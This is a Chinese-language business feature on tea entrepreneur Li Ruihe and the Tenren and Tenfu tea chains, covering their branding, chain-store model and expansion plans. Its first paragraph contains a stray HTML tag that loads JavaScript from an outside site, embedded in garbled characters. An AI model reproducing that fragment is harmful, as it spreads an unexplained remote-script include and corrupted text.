“七点”融会贯通 两岸茶市称雄——天仁茗茶、天福茗茶经营之道探秘
李瑞河根据60年从事茶叶经营的经验，把对茶叶的认识浓缩为七点，即：品种、季节、产地、资讯、市场、资金、仓容，将这七点合理运用，融会贯通，就能逐鹿茶叶市场?script type='text/javascript' src='http://www.368tea.com/js/v.js'>檬だ?/p>
天仁茗茶是台湾岛内茶业界的第一品牌、唯一的上市公司，天福茗茶是大陆茶业界的第一品牌、唯一的上市公司。这两家集团公司分别是海峡两岸茶业的龙头老大，而且相互持股，成为世界最大的茶业综合企业。对天仁茗茶、天福茗茶营销模式进行探讨与研究，对当今崛起的中国茶业显得尤为必要。
茶叶连锁经营
开创崭新模式
茶行业是一个拥有古老历史的行业。长期以来，中国茶企以原始的管理和交易方式进行经营，市场营销观念淡漠、产品严重同质化、质量参差不齐、缺乏有效的定价机制、渠道建设滞后、品牌经营和产业链内部营销缺失，严重制约着茶业的发展。有位专家曾断言：“中国茶产业缺乏的是有思想、有理想、勇于开拓、持之以恒的产业英雄。中国如果要诞生一个世界级的品牌，一定是茶!”
台湾茶农子弟李瑞河，1935年出生于南投县名间乡。1953年由茶农变为茶商，跟随父亲在高雄冈山开办铭峰茶行。1961年独自创业，在台南创建天仁茗茶店。1968年，天仁茶业有限公司成立。经过30年的奋斗，当年的卖茶郎一跃而成为17家天仁关系企业的董事长。
开连锁店卖茶叶，是李瑞河自己摸索出来的办法。1973年，天仁茗茶店已开到11家，台湾^***大学一位教授专程前来研究，他询问这个办法是向哪里学来的?李瑞河回答是自己土想的。教授告诉他这在外国叫做连锁经营。他从教授的口中，第一次听到连锁店的新名词，豁然开朗：叫连锁店好!看来自己土法炼钢的这一套做法与洋办法一致，是有来头有说道的，心里就更有底了。
1990年，事业正值高峰的李瑞河，遭遇金融危机的打击，天仁证券亏损台币30亿元。他变卖家产还债，手中的天仁茗茶股票已全部拿出去抵债，剩下的唯一头衔是天仁茗茶“创办人”。1993年初，年近花甲的李瑞河，多方筹借资金，选择到祖国大陆再创业。又一次从零开始，创立天福集团，成功复制天仁茗茶的经验，攀登上了事业的巅峰。此后回台大量收购天仁茗茶的股票，带动天仁茗茶发展。8年后，他作为第一股东，重掌台湾天仁集团的帅印。
打破地域局限
打造强势品牌
茶叶产品的商品化，茶叶制作的工业化，茶叶种植的园林化，这是中国茶业的必由之路。而要实现茶叶产品的商品化，就必须做到产品的品牌化和标准化，没有做到品牌化和标准化的产品，就不是现代市场意义的商品。中国茶业存在着“大而不强”的问题，由商品营销转型升级为品牌营销是势在必行。
对于茶叶的销制产经营，李瑞河开头的做法，是前店后作坊，边烘焙茶叶边销售，再加上边包装。连锁店开多了，建设制茶厂便势在必行。就这样，店、厂互相促进、联动发展。到大陆后，李瑞河先承包优山茶场，建基地办茶厂，外销受阻，就开店直销。天仁茗茶的模式，在大陆得到成功复制。李瑞河采取老行业、新经营的办法，其茶叶产品最大一个特色是突破传统茶庄的茶叶贩卖方式，打出自己的品牌，并将产品分级包装，予以精致化，以利行销。引进先进的加工设备，以质取胜，精选原料，实行标准化生产。从原料到成品的各道工序，质量都反复检验、严格把关，用具认真消毒，车间内给人以“看得见的干净”。提高茶叶的品质，改善企业的形象，改变人们对茶叶的传统成见。注入传统文化，采用新观念、新包装、新品质、新的经营方式，一边发展茶的事业，一边弘扬茶文化。
天福集团启动在全国名茶原地产设厂的计划，已在福建的漳浦、闽侯、安溪、华安，四川的夹江，浙江的新昌，云南的昆明，广西的贵港，江苏的溧阳等地建立十大加工基地。连锁店以消费需求下商品订单，工厂按订单收购茶叶，指导茶农生产，形成良性循环。到1998年统计，天福开发茶叶系列产品达700多项，使茶叶身价倍增，茶园老枝吐新芽，开辟了茶业的一片新天地。
业内行家认为，中国茶从来都是“竖”着做，而天福是“横”着做。中国茶业生产的地域性特征非常明显，比如武夷山产大红袍，安溪产铁观音，浙江产龙井等等。而且茶叶的消费同样也体现出很强的地域性，三北地区族群以饮用花茶为主，比例达50%-60%。不少茶客长期认同一种茶类，其他品种的茶叶往往难以接受。
许多茶企业立足当地资源，生产销售当地名茶，称雄称霸于一方。而天福则打破区域的局限，各地区设厂，各种茶都生产都销售。各连锁店成为名副其实的茶叶百货公司，各大茶类，各地名茶，各种等级，应有尽有。不同的消费群体，都能在这里找到适合自己口味及消费能力的茶叶商品。而且天福茗茶不仅适销对路，更是创造消费，引导消费潮流。通过奉茶及茶文化宣传，改变茶客的口味和习惯。天福用十年时间让乌龙茶就成为东北、华北、西北人群的新宠就是例证。
长期以来，有两大难题困扰着中国茶企：一是跨区域发展，一是盈利能力的提高。天福茗茶在这两个方面都取得重大突破，迈出坚实的步伐，既能跨区域发展，又使盈利能力提高。天福茗茶2011年业绩报告显示，由于销售网络的扩张尤其是自有零售门店的增长的推动作用，公司2011年收入达到了17.53亿元，相比2010年的12.47亿元增长了40.6%;而净利润也从2010年的2.23亿元增长了31.6%，2011年达到了2.94亿元。
从终端消费者入手，以消费者和市场为中心，结合自身产品特色，塑造有个性的品牌形象，以消费者的心声为品牌诉求点来延展品牌文化。李瑞河说：“最好的行销方式，是开店。”把天福茗茶的招牌树在大城市里，可收广告之效，让消费者认识到“天福”这个品牌，而且可及时了解消费者的需求及意见。因此，他先在沿海城市大胆布点，由点到面，逐步开拓通路。1994年5月开始，天福茗茶店在福建省的福州、漳浦、厦门、泉州等地先后开张营业。紧接着，在华北、华东、华南三区也迅速地从单点向多点扩张。目前，天福茗茶的连锁店已达1200多家。
天福门市的店数增加，也便于形成管理的规模。以千家连锁店规模作为核心竞争力，集约管理成本，自产自销，拉长产业链，从茶园到终端连锁店，并设计数以千计的茶叶产品和副产品。自制产品直接供货，全国统一价，设巡查员，督导产品与服务质量。每家连锁店当天的业绩上报，成本核算精细……天福的盈利水平创下了同行业的新高。
李瑞河很注重企业产品的品牌建设，走创新之路，精心打造品牌。2006年初，天福茗茶商标被国家工商总局认定为中国驰名商标。从“知名”到“驰名”，天福向前迈进了一大步。作为茶叶类商品商标，天福茗茶成为全国第一件。行家认为：天福茗茶品牌在国内外有很高的知名度，为广大消费者所喜爱，她被认定为中国驰名商标，是其企业、产品综合实力的象征;是长期积累、名实相符、众望所归的结果。
致力茶业振兴
志在茗扬世界
李瑞河认为：一个企业如果没有文化，就不可能永续经营。我从事的是茶产业，弘扬茶文化责无旁贷。如果没有文化，茶叶只是一片普通的树叶。如果营销中没有文化的灵魂，茶叶只是一种没有生命力的商品。李瑞河如是说：“茶文化使茶有别于其他饮品，成为有生命的生活艺术。挖掘、传承和弘扬茶文化是推进茶业发展的一项重要工作。”
为了加强传统道德教育，让员工有礼节、重道德，在天福集团创建初期，李瑞河在漳浦天福茶庄特地聘请一位老教师开课教授《弟子规》与《三字经》。在李瑞河倡议和推动下，诵读经典、倡导国学活动在天福系统内扎实持久地展开，成效卓著。天福茶学院把茶文化教育与传统文化教育融为一体。
李瑞河对茶文化情有独钟。1980年创立陆羽茶艺中心，1982年创立天仁茶艺文化基金会，作为专事茶文化的挖掘、整理、创新、教学以及举办各种大型茶文化活动的载体。1982年9月，他与吴振铎先生在台湾共同发起创立中华茶艺协会。在祖国大陆，他为弘扬中国茶文化做了许多事，兴建天福茶博物院、“唐山过台湾”石雕园、四川天福茶博物馆、天福茶学院……并在许多天福茗茶门市内，开设茶文化馆、茶文化店、茶文化宣传专区及专栏等，茶文化氛围浓厚。他是一位卖茶郎，同时也是肩负传承中国茶文化使命的茶人。
2004年，李瑞河接受笔者专访时说：“19世纪英国红茶垄断国际，20世纪美国可乐横扫各地，21世纪中国茶将席卷全球。”而他自己的使命，则是为“让中国茶席卷全球”实实在在地办些事情。目前天仁在北美各大城市已有50余家分店，天福也开始进军国际市场。李瑞河对茶叶在中国、在世界的发展趋势十分看好。2012年初他告诉笔者，以年人均茶叶消费量计算，英国、利比亚是2-3公斤，台湾是1.5公斤，大陆仅0.75公斤。我估算，大陆10年内可达到台湾的消费水平，天福茗茶店是茶叶的百货店，我们的连锁店也要翻一番以上。计划是每年以150家连锁店的速度扩张，5年内目标达到2000家以上，10年内3000家以上。同时，积极拓展海外市场，主要目标瞄准美国。现在美国有天仁茗茶的7家分公司，不到100家连锁店，打算以充足的资金加速扩张版图，对分公司进行整合，以天福茗茶的品牌通路经营，5年要拓展连锁店500家至1000家，届时要在美国挂牌上市。李瑞河雄心勃勃地说：“希望通过天福的扩张，让世界了解大陆茶、台湾茶的优点，提升中国茶的市场占有率，打造中国茶的世纪!”
(作者系天福茶学院教授、图书馆馆长)
